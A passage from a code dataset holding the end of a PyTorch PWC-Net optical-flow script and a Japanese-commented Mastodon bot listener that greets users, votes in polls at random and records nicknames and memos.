negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=32, out_channels=32, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=32, out_channels=32, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netThr = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=32, out_channels=64, kernel_size=3, stride=2, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netFou = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=64, out_channels=96, kernel_size=3, stride=2, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=96, out_channels=96, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=96, out_channels=96, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netFiv = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=96, out_channels=128, kernel_size=3, stride=2, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=128, out_channels=128, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=128, out_channels=128, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netSix = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=128, out_channels=196, kernel_size=3, stride=2, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=196, out_channels=196, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=196, out_channels=196, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\t\t\t# end\n\n\t\t\tdef forward(self, tenInput):\n\t\t\t\ttenOne = self.netOne(tenInput)\n\t\t\t\ttenTwo = self.netTwo(tenOne)\n\t\t\t\ttenThr = self.netThr(tenTwo)\n\t\t\t\ttenFou = self.netFou(tenThr)\n\t\t\t\ttenFiv = self.netFiv(tenFou)\n\t\t\t\ttenSix = self.netSix(tenFiv)\n\n\t\t\t\treturn [ tenOne, tenTwo, tenThr, tenFou, tenFiv, tenSix ]\n\t\t\t# end\n\t\t# end\n\n\t\tclass Decoder(torch.nn.Module):\n\t\t\tdef __init__(self, intLevel):\n\t\t\t\tsuper(Decoder, self).__init__()\n\n\t\t\t\tintPrevious = [ None, None, 81 + 32 + 2 + 2, 81 + 64 + 2 + 2, 81 + 96 + 2 + 2, 81 + 128 + 2 + 2, 81, None ][intLevel + 1]\n\t\t\t\tintCurrent = [ None, None, 81 + 32 + 2 + 2, 81 + 64 + 2 + 2, 81 + 96 + 2 + 2, 81 + 128 + 2 + 2, 81, None ][intLevel + 0]\n\n\t\t\t\tif intLevel < 6: self.netUpflow = torch.nn.ConvTranspose2d(in_channels=2, out_channels=2, kernel_size=4, stride=2, padding=1)\n\t\t\t\tif intLevel < 6: self.netUpfeat = torch.nn.ConvTranspose2d(in_channels=intPrevious + 128 + 128 + 96 + 64 + 32, out_channels=2, kernel_size=4, stride=2, padding=1)\n\t\t\t\tif intLevel < 6: self.fltBackwarp = [ None, None, None, 5.0, 2.5, 1.25, 0.625, None ][intLevel + 1]\n\n\t\t\t\tself.netOne = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=intCurrent, out_channels=128, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netTwo = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=intCurrent + 128, out_channels=128, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netThr = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=intCurrent + 128 + 128, out_channels=96, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netFou = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=intCurrent + 128 + 128 + 96, out_channels=64, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netFiv = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=intCurrent + 128 + 128 + 96 + 64, out_channels=32, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netSix = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=intCurrent + 128 + 128 + 96 + 64 + 32, out_channels=2, kernel_size=3, stride=1, padding=1)\n\t\t\t\t)\n\t\t\t# end\n\n\t\t\tdef forward(self, tenFirst, tenSecond, objPrevious):\n\t\t\t\ttenFlow = None\n\t\t\t\ttenFeat = None\n\n\t\t\t\tif objPrevious is None:\n\t\t\t\t\ttenFlow = None\n\t\t\t\t\ttenFeat = None\n\n\t\t\t\t\ttenVolume = torch.nn.functional.leaky_relu(input=correlation.FunctionCorrelation(tenFirst=tenFirst, tenSecond=tenSecond), negative_slope=0.1, inplace=False)\n\n\t\t\t\t\ttenFeat = torch.cat([ tenVolume ], 1)\n\n\t\t\t\telif objPrevious is not None:\n\t\t\t\t\ttenFlow = self.netUpflow(objPrevious['tenFlow'])\n\t\t\t\t\ttenFeat = self.netUpfeat(objPrevious['tenFeat'])\n\n\t\t\t\t\ttenVolume = torch.nn.functional.leaky_relu(input=correlation.FunctionCorrelation(tenFirst=tenFirst, tenSecond=backwarp(tenInput=tenSecond, tenFlow=tenFlow * self.fltBackwarp)), negative_slope=0.1, inplace=False)\n\n\t\t\t\t\ttenFeat = torch.cat([ tenVolume, tenFirst, tenFlow, tenFeat ], 1)\n\n\t\t\t\t# end\n\n\t\t\t\ttenFeat = torch.cat([ self.netOne(tenFeat), tenFeat ], 1)\n\t\t\t\ttenFeat = torch.cat([ self.netTwo(tenFeat), tenFeat ], 1)\n\t\t\t\ttenFeat = torch.cat([ self.netThr(tenFeat), tenFeat ], 1)\n\t\t\t\ttenFeat = torch.cat([ self.netFou(tenFeat), tenFeat ], 1)\n\t\t\t\ttenFeat = torch.cat([ self.netFiv(tenFeat), tenFeat ], 1)\n\n\t\t\t\ttenFlow = self.netSix(tenFeat)\n\n\t\t\t\treturn {\n\t\t\t\t\t'tenFlow': tenFlow,\n\t\t\t\t\t'tenFeat': tenFeat\n\t\t\t\t}\n\t\t\t# end\n\t\t# end\n\n\t\tclass Refiner(torch.nn.Module):\n\t\t\tdef __init__(self):\n\t\t\t\tsuper(Refiner, self).__init__()\n\n\t\t\t\tself.netMain = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=81 + 32 + 2 + 2 + 128 + 128 + 96 + 64 + 32, out_channels=128, kernel_size=3, stride=1, padding=1, dilation=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=128, out_channels=128, kernel_size=3, stride=1, padding=2, dilation=2),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=128, out_channels=128, kernel_size=3, stride=1, padding=4, dilation=4),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=128, out_channels=96, kernel_size=3, stride=1, padding=8, dilation=8),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=96, out_channels=64, kernel_size=3, stride=1, padding=16, dilation=16),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=64, out_channels=32, kernel_size=3, stride=1, padding=1, dilation=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=32, out_channels=2, kernel_size=3, stride=1, padding=1, dilation=1)\n\t\t\t\t)\n\t\t\t# end\n\n\t\t\tdef forward(self, tenInput):\n\t\t\t\treturn self.netMain(tenInput)\n\t\t\t# end\n\t\t# end\n\n\t\tself.netExtractor = Extractor()\n\n\t\tself.netTwo = Decoder(2)\n\t\tself.netThr = Decoder(3)\n\t\tself.netFou = Decoder(4)\n\t\tself.netFiv = Decoder(5)\n\t\tself.netSix = Decoder(6)\n\n\t\tself.netRefiner = Refiner()\n\n\t\tself.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.load(model_path).items() })\n\t# end\n\n\tdef forward(self, tenFirst, tenSecond):\n\t\ttenFirst = self.netExtractor(tenFirst)\n\t\ttenSecond = self.netExtractor(tenSecond)\n\n\t\tobjEstimate = self.netSix(tenFirst[-1], tenSecond[-1], None)\n\t\tobjEstimate = self.netFiv(tenFirst[-2], tenSecond[-2], objEstimate)\n\t\tobjEstimate = self.netFou(tenFirst[-3], tenSecond[-3], objEstimate)\n\t\tobjEstimate = self.netThr(tenFirst[-4], tenSecond[-4], objEstimate)\n\t\tobjEstimate = self.netTwo(tenFirst[-5], tenSecond[-5], objEstimate)\n\n\t\treturn objEstimate['tenFlow'] + self.netRefiner(objEstimate['tenFeat'])\n\t# end\n# end\n\nnetNetwork = None\n\n\"\"\ndef estimate(tenFirst, tenSecond):\n\tglobal netNetwork\n\tnetNetwork = Network().cuda().eval() if netNetwork is None else netNetwork\n\t# end\n    \n\tif tenFirst.shape[1] != tenSecond.shape[1] or tenFirst.shape[2] != tenSecond.shape[2]:\n\t\treturn False, None\n    \n\tassert(tenFirst.shape[1] == tenSecond.shape[1])\n\tassert(tenFirst.shape[2] == tenSecond.shape[2])\n\n\tintWidth = tenFirst.shape[2]\n\tintHeight = tenFirst.shape[1]\n\n\t#assert(intWidth == 1024) # remember that there is no guarantee for correctness, comment this line out if you acknowledge this and want to continue\n\t#assert(intHeight == 436) # remember that there is no guarantee for correctness, comment this line out if you acknowledge this and want to continue\n\n\ttenPreprocessedFirst = tenFirst.cuda().view(1, 3, intHeight, intWidth)\n\ttenPreprocessedSecond = tenSecond.cuda().view(1, 3, intHeight, intWidth)\n\n\tintPreprocessedWidth = int(math.floor(math.ceil(intWidth / 64.0) * 64.0))\n\tintPreprocessedHeight = int(math.floor(math.ceil(intHeight / 64.0) * 64.0))\n\n\ttenPreprocessedFirst = torch.nn.functional.interpolate(input=tenPreprocessedFirst, size=(intPreprocessedHeight, intPreprocessedWidth), mode='bilinear', align_corners=False)\n\ttenPreprocessedSecond = torch.nn.functional.interpolate(input=tenPreprocessedSecond, size=(intPreprocessedHeight, intPreprocessedWidth), mode='bilinear', align_corners=False)\n\n\ttenFlow = 20.0 * torch.nn.functional.interpolate(input=netNetwork(tenPreprocessedFirst, tenPreprocessedSecond), size=(intHeight, intWidth), mode='bilinear', align_corners=False)\n\n\ttenFlow[:, 0, :, :] *= float(intWidth) / float(intPreprocessedWidth)\n\ttenFlow[:, 1, :, :] *= float(intHeight) / float(intPreprocessedHeight)\n\n\treturn True, tenFlow[0, :, :, :].cpu()\n# end\n\n# +\n\"\"\nif __name__ == '__main__':\n    \n    # frame 이름들 list 뽑아오기\n    image_names = get_names(in_dir)\n    for i in range(len(image_names)-1):\n        if grayscale:\n            tenFirst = torch.FloatTensor(numpy.ascontiguousarray(numpy.array(PIL.Image.open(image_names[i]).convert('L').convert('RGB'))[:, :, ::-1].transpose(2, 0, 1).astype(numpy.float32) * (1.0 / 255.0)))\n            tenSecond = torch.FloatTensor(numpy.ascontiguousarray(numpy.array(PIL.Image.open(image_names[i+1]).convert('L').convert('RGB'))[:, :, ::-1].transpose(2, 0, 1).astype(numpy.float32) * (1.0 / 255.0)))\n        else:\n            tenFirst = torch.FloatTensor(numpy.ascontiguousarray(numpy.array(PIL.Image.open(image_names[i]))[:, :, ::-1].transpose(2, 0, 1).astype(numpy.float32) * (1.0 / 255.0)))\n            tenSecond = torch.FloatTensor(numpy.ascontiguousarray(numpy.array(PIL.Image.open(image_names[i+1]))[:, :, ::-1].transpose(2, 0, 1).astype(numpy.float32) * (1.0 / 255.0)))\n\n        success, forward_tenOutput = estimate(tenFirst, tenSecond)\n        success, backward_tenOutput = estimate(tenSecond, tenFirst)\n        if success is False:\n            continue\n        \n        # remove ext image 이름 추출\n        image_name_fir = os.path.splitext(os.path.basename(image_names[i]))[0]\n        image_name_sec = os.path.splitext(os.path.basename(image_names[i+1]))[0]\n        store_flow(forward_tenOutput, '%s/Forward/%s_%s.flo'%(out_dir, image_name_fir, image_name_sec))\n        store_flow(backward_tenOutput,'%s/Backward/%s_%s.flo'%(out_dir, image_name_sec, image_name_fir))\n        \n# end\n","repo_name":"team-memories/memories","sub_path":"src/server/media_enhancement_module/research/colorization/pytorch_pwc/run_data.py","file_name":"run_data.py","file_ext":"py","file_size_in_byte":15079,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"74339201210","text":"import configparser\nimport datetime\nimport random\nimport re\nimport time\nimport threading\nimport math\n\nfrom mastodon import StreamListener\nfrom pytz import timezone, utc\nfrom dateutil import parser as duParser\n\nfrom Yu import YuChan, Util as KotohiraUtil, log\nfrom Yu.config import config\nfrom Yu.mastodon import mastodon\nfrom Yu.database import DATABASE\nfrom Yu.models import known_users, nickname, updated_users, fav_rate\n\n# 投票再通知用スレッド辞書\nVOTE_RENOTIFY_THREAD = {}\n\n# 再通知したら該当するスレッドを削除(メモリリーク対策)\ndef vote_renotify(url, id):\n    mastodon.status_post(f\"もうすぐこの投票が終わるみたいですっ!\\n\\n{url}\")\n    # もしもなかったときのエラー対策\n    if VOTE_RENOTIFY_THREAD.get(int(id)):\n        del VOTE_RENOTIFY_THREAD[int(id)]\n\n# ローカルタイムラインのリスナー\ndef local_onUpdate(status):\n    try:\n        with DATABASE.transaction():\n            # Botアカウントは応答しないようにする\n            if status['account']['bot'] == True:\n                return\n\n            # 自分のトゥートは無視\n            if config['user']['me'] == status['account']['acct']:\n                return\n\n            # トゥート内のHTMLタグを除去\n            txt = KotohiraUtil.h2t(status['content'])\n\n            # CWのテキストが空っぽでなければ付け足す\n            if status['spoiler_text'] != '':\n                txt = status['spoiler_text'] + \"\\n\\n\" + txt\n                txt.strip()\n\n            # 自分宛てのメンションはここのリスナーでは無視する(ユーザー絵文字の場合は例外)\n            isMeMention = re.search('(?!.*:)@({}+)(?!.*:)'.format(config['user']['me']), txt)\n            if isMeMention:\n                return\n\n            # ユウちゃんが知ってるユーザーか調べる\n            # 知らない場合はユウちゃんは記憶しますっ!\n            user = known_users.get_or_none(known_users.ID_Inst == int(status['account']['id']))\n            if user == None:\n                user = known_users.create(ID_Inst=int(status['account']['id']), acct=status['account']['acct'])\n                fav_rate.create(ID_Inst=user)\n                updated_users.create(ID_Inst=user)\n                log.logInfo(f'覚えたっ!: @{status[\"account\"][\"acct\"]}')\n                newUser = True\n                # トゥートカウントが10以下で、設定で有効な場合は新規さん向けの挨拶しますっ!\n                if status['account']['statuses_count'] <= 10 and config['features']['newComerGreeting'] == True:\n                    log.logInfo(f'新規さん!: @{status[\"account\"][\"acct\"]}')\n                    mastodon.status_reblog(status['id'])\n                    time.sleep(0.5)\n                    mastodon.toot('新規さんっ!はじめましてっ!琴平ユウって言いますっ!\\nよろしくねっ!\\n\\n:@{0}: @{0}'.format(status['account']['acct']))\n            else:\n                newUser = False\n\n            # NGワードを検知した場合は弾いて好感度下げ\n            if YuChan.ngWordHook(txt):\n                log.logInfo('変なことを言ってはいけませんっ!!(*`ω´*): @{0}'.format(status['account']['acct']))\n                hooked = fav_rate.get(fav_rate.ID_Inst == user)\n                hooked.rate -= config['follow']['down_step']\n                hooked.save()\n                YuChan.unfollow_attempt(status['account']['id'])\n                return\n\n            # 名前\n            nameDic = nickname.get_or_none(nickname.ID_Inst == user)\n            if nameDic == None:\n                # ニックネームが指定されていない場合は基の名前を使用する\n                # 名前が設定されていない場合はユーザーIDを使用する\n                if status['account']['display_name'] == '':\n                    name = status['account']['acct']\n                else:\n                    # デコードして、\\u202e(文字が逆さまになるやつ)を削除して戻してどーん\n                    dpname = status['account']['display_name'].encode('unicode-escape')\n                    dpname = dpname.replace(b\"\\\\u202e\", b'')\n                    name = dpname.decode('unicode-escape')\n            else:\n                # ニックネームが設定されている場合はそちらを優先\n                name = nameDic.nickname\n            name = re.sub(r'(?!.*:)@([a-zA-Z0-9_]+)(?!.*:)', '', name)\n            name = re.sub(r'(.*):$', r'\\g<1>: ', name)\n\n            # 名前に語尾がない場合は付け足す\n            if re.search(r'(さん|ちゃん|どの|殿|くん|君|様|さま|教授|たん|きゅん)$', name) == None:\n                name += \"さん\"\n\n            # 最終更新を変更\n            now = datetime.datetime.now()\n            now_utc = datetime.datetime.now(timezone('UTC'))\n\n            # 正規表現チェック\n            calledYuChan = re.search(f'(琴平|ことひら|コトヒラ|コトヒラ|:@{config[\"user\"][\"me\"]}:|((ゆう|ユウ|ユゥ|ユウ|ユゥ)(ちゃん|チャン|チャン|くん|クン|君|クン))|ユウ)', txt)\n            otherNick = re.search(r'^:@([a-zA-Z0-9_]+):\\sの(あだ名|あだな|ニックネーム)[::は]\\s?(.+)', txt)\n            nick = re.search(r'^(あだ(名|な)|ニックネーム)[::は]\\s?(.+)', txt)\n            iBack = re.search(r'(帰宅|ただいま|帰った|帰還)(?!.*(する|します|しちゃう|しよう|中|ちゅう|してる))', txt)\n            goodNight = re.search(r'寝(ます|る|マス)([よかぞね]?|[...。うぅー~!・]+)$|^寝(ます|る|よ)[...。うぅー~!・]*$|寝(ます|る|マス)(.*)[ぽお]や[ユすしー]|(ユウ|ユウ|ゆう|ことひら|コトヒラ|コトヒラ)(ちゃん)?(.*)[ぽお]や[ユすしー]|^(\\s*:shushin:\\s*)+$', txt)\n            seeYou = re.search(r'((行|い)って(きます|くる)|ノシ|ノシ)', txt)\n            passage = re.search(r'(通過|つうか|ツウカ)(?!.*(おめ|した))', txt)\n            sinkiSagi = re.search(r'(新規|しんき)(です|だよ|なのじゃ)', txt)\n            nullPoint = re.search(r'(ぬるぽ|ヌルポ|ヌルポ|[nN][uU][lL]{2}[pP][oO])', txt)\n            notNicoFri = re.search(r'(にこふれ|ニコフレ|ニコフレ)', txt)\n            sad = re.search(r'((泣|な)いてる|しくしく|シクシク|シクシク|ぐすん|グスン|グスン|ぶわっ|ブワッ|ブワッ)', txt)\n            noNow = re.search(r'(いまのなし|イマノナシ|イマノナシ)', txt)\n            writeDict = re.search(r'^:@[a-zA-Z0-9_]+:(さん|くん|君|殿|どの|ちゃん)?はこんな人[::]', txt)\n            writeMemo = re.search(r'^(メモ|めも|[Mm][Ee][Mm][Oo])[::](.+)', txt)\n            \n            # ユウちゃん etc... とか呼ばれたらふぁぼる\n            if calledYuChan:\n                log.logInfo('呼ばれたっ!:@{0} < {1}'.format(status['account']['acct'], txt))\n                mastodon.status_favourite(status['id'])\n                # 好感度ちょいアップ\n                fav = fav_rate.get(fav_rate.ID_Inst == user)\n                fav.rate += 5\n                fav.save()\n\n            # 投票型のトゥートだったら投票する(期限切れでないかつ投票してないこと)\n            if status['poll'] != None:\n                if status['poll']['expired'] == False and not ('voted' in status['poll'] and status['poll']['voted'] == True):\n                    voteOptions = status['poll']['options']\n                    \n                    # NGワードを検知した場合は弾いて好感度下げ\n                    for voteSection in voteOptions:\n                        if YuChan.ngWordHook(voteSection['title']):\n                            log.logInfo('変なことを言ってはいけませんっ!!(*`ω´*): @{0}'.format(status['account']['acct']))\n                            hooked = fav_rate.get(fav_rate.ID_Inst == user)\n                            hooked.rate -= config['follow']['down_step']\n                            hooked.save()\n                            return\n                    \n                    # 設定で指定されたハッシュタグが含まれていない場合は投票をする\n                    if not KotohiraUtil.isVoteOptout(status['tags']):\n                        # ここで投票する場所を抽選\n                        voteChoose = random.randint(0, len(voteOptions) - 1)\n                        mastodon.poll_vote(status['poll']['id'], voteChoose)\n                        # 投票したものをトゥートする\n                        log.logInfo('投票っ!:@{0} => {1}'.format(status['account']['acct'], status['poll']['options'][voteChoose]['title']))\n                        mastodon.status_post('ユウちゃんは「{0}」がいいと思いますっ!\\n\\n{1}'.format(status['poll']['options'][voteChoose]['title'], status['url']))\n                        # 投票の再通知機能(設定で有効になっている場合のみ機能)\n                        if config['features']['voteRenotify']:\n                            # 投票締め切り時間を読み取って現在時刻からの差���でおおよその投票時間を逆算\n                            expires_at = duParser.parse(status['poll']['expires_at'])\n                            poll_time_delta = expires_at - now_utc\n                            poll_time = poll_time_delta.seconds\n                            # 小数点を1桁ずらして切り上げして1桁戻して、投票時間を算出\n                            poll_time_ceil = math.ceil(poll_time / 10) * 10\n                            # 約5分間投票だったら2分前ぐらいに通知、それ以外は5分前\n                            if poll_time <= 300:\n                                renotify_timer = float(poll_time_ceil - 120)\n                            else:\n                                renotify_timer = float(poll_time_ceil - 300)\n                            log.logInfo(f'投票時間は{poll_time}ですので、{str(renotify_timer)}秒後に知らせますっ!')\n                            VOTE_RENOTIFY_THREAD[int(status['id'])] = threading.Timer(renotify_timer, vote_renotify, kwargs={\n                                \"url\": status['url'],\n                                \"id\": status['id']\n                            })\n                            VOTE_RENOTIFY_THREAD[int(status['id'])].start()\n\n            elif otherNick:\n                # 他人のニックネームの設定\n                YuChan.set_otherNickname(txt, status['id'], status['account']['id'], status['account']['acct'], status['visibility'])\n\n            elif nick:\n                # ニックネームの設定\n                newNicknameParse = re.search(r\"^(あだ名|あだな|ニックネーム)[::は]\\s?(.+)\", txt)\n                newNickname = newNicknameParse.group(2)\n                YuChan.set_nickname(newNickname, status['id'], status['account']['id'], status['account']['acct'], status['visibility'])\n\n            elif iBack:\n                # おかえりとか言ったら実行\n                if YuChan.msg_hook('wel_back', 600, \":@{0}: {1}、おかえりなさいませっ!\".format(status['account']['acct'], name)):\n                    log.logInfo('おかえりっ!:@{0} < {1}'.format(status['account']['acct'], txt))\n\n            elif goodNight:\n                # おやすみですっ!\n                if YuChan.msg_hook('good_night', 600, \":@{0}: {1}、おやすみなさいっ!🌙\".format(status['account']['acct'], name)):\n                    log.logInfo('おやすみっ!:@{0} < {1}'.format(status['account']['acct'], txt))\n\n            elif seeYou:\n                # いってらっしゃいなのですっ!\n                if YuChan.msg_hook('see_you', 600, \":@{0}: {1}、いってらっしゃいっ!🚪\".format(status['account']['acct'], name)):\n                    log.logInfo('いってらっしゃいっ!:@{0} < {1}'.format(status['account']['acct'], txt))                \n\n            elif passage:\n                # 通過 とか言ったら阻止しちゃうよっ!\n                if YuChan.msg_hook('passage', 300, \"阻止っ!!(*`ω´*)\"):\n                    log.logInfo('阻止っ!:@{0} < {1}'.format(status['account']['acct'], txt))\n\n            elif sinkiSagi:\n                # 現在時刻をUTCに変換し、該当アカウントの作成時刻から1日後のものを算出。\n                # 作成から丸一日以上かつトゥートが10より上であれば作動\n                created_at = duParser.parse(status['account']['created_at'])\n                created_a1d = created_at + datetime.timedelta(days=1)\n                if status['account']['statuses_count'] > 10 and created_a1d < now_utc:\n                    # 新規詐欺見破りっ!\n                    if YuChan.msg_hook('sin_sagi', 600, \"新規詐欺はいけませんっ!!(*`ω´*)\"):\n                        log.logInfo('新規詐欺っ!:@{0} < {1}'.format(status['account']['acct'], txt))\n            \n            elif nullPoint:\n                # ぬるぽって、言ったら■━⊂( ・∀・)彡ガッ☆`Д゚)\n                if YuChan.msg_hook('null_point', 180, \":gaxtsu:\"):\n                    log.logInfo('がっ:@{0} < {1}'.format(status['account']['acct'], txt))\n\n            elif notNicoFri:\n                # ニコフレじゃないよっ!\n                if YuChan.msg_hook('not_nikofure', 600, \"ここはニコフレじゃないですっ!!ベスフレですっ!(*`ω´*)\"):\n                    log.logInfo('ベスフレですっ!:@{0} < {1}'.format(status['account']['acct'], txt))\n\n            elif sad:\n                # よしよしっ\n                if YuChan.msg_hook('yoshiyoshi', 180, \"(´・ω・`)ヾ(・ω・。)ヨシヨシ\"):\n                    log.logInfo('よしよしっ:@{0} < {1}'.format(status['account']['acct'], txt))\n\n            elif noNow:\n                # いまのなしは封印ですっ!\n                if YuChan.msg_hook('no_now', 180, \"いまのなしは封印ですっ!!(*`ω´*)\"):\n                    log.logInfo('いまの���しは封印ですっ!:@{0} < {1}'.format(status['account']['acct'], txt))\n\n            if writeDict:\n                # 辞書登録っ\n                # (実装中)\n                # YuChan.update_userdict()\n                pass\n            \n            elif writeMemo:\n                # メモの書き込みっ\n                memoBody = re.sub(r'^(メモ|めも|[Mm][Ee][Mm][Oo])[::]\\s*(.*)', r'\\g<2>', txt, 1)\n                mastodon.status_reblog(status['id'])\n                log.logInfo('メモっ!:@{0} < {1}'.format(status['account']['acct'], txt))\n                res = YuChan.write_memo(status['account']['acct'], memoBody, status['id'])\n                if res == False:\n                    mastodon.status_post('@{}\\n長いのでまとめられそうにありませんっ・・・'.format(status['account']['acct']), in_reply_to_id=status['id'])\n\n            # 2重更新防策\n            if not newUser:\n                updated_at = updated_users.get(updated_users.ID_Inst == user)\n                greetableTime = updated_at.date + datetime.timedelta(hours=3)\n                shouldGreet = now >= greetableTime\n                # 3時間以上更新がなかった場合は挨拶する\n                if shouldGreet:\n                    time.sleep(0.5)\n                    if now.hour < 12 and now.hour >= 5:\n                        log.logInfo(\"おはようございますっ!:@{0} < {1}\".format(status['account']['acct'], txt))\n                        mastodon.toot(\"\"\":@{1}: {0}、おはようございますっ!🌄\"\"\".format(name, status['account']['acct']))\n                    elif now.hour >= 12 and now.hour < 17:\n                        log.logInfo(\"こんにちはっ!:@{0} < {1}\".format(status['account']['acct'], txt))\n                        mastodon.toot(\"\"\":@{1}: {0}、こんにちはっ!☀\"\"\".format(name, status['account']['acct']))\n                    elif now.hour >= 17 and now.hour < 5:\n                        log.logInfo(\"こんばんはっ!:@{0} < {1}\".format(status['account']['acct'], txt))\n                        mastodon.toot(\"\"\":@{1}: {0}、こんばんはっ!🌙\"\"\".format(name, status['account']['acct']))\n\n                YuChan.drill_count(user, name, status['account']['statuses_count'])\n\n                # 最終更新を変更\n                updated_at.date = now\n                updated_at.save()\n    except Exception as e:\n        DATABASE.rollback() # エラーが出た場合はデータベースのトランザクションを破棄\n        # Timelines.pyの方へエラーを送出させる\n        raise e\n    else:\n        DATABASE.commit() # 異常なければコミット\n\ndef local_onDelete(status_id):\n    try:\n        # メモのトゥートが削除されたらデータベースから削除する\n        if YuChan.cancel_memo(status_id):\n            log.logInfo(f\"メモを削除っ!: {str(status_id)}\")\n        \n        # 投票再通知の取り消し(該当する場合)\n        if config['features']['voteRenotify'] and VOTE_RENOTIFY_THREAD.get(int(status_id), False):\n            if type(VOTE_RENOTIFY_THREAD[int(status_id)]) == threading.Timer:\n                VOTE_RENOTIFY_THREAD[int(status_id)].cancel()\n                log.logInfo(f\"投票再通知を解除っ!: {str(status_id)}\")\n    except Exception as e: # 上と同じ\n        raise e\n","repo_name":"YuzuRyo61/KotohiraYu","sub_path":"Yu/listener/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":17674,"program_lang":"python","lang":"ja","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"}
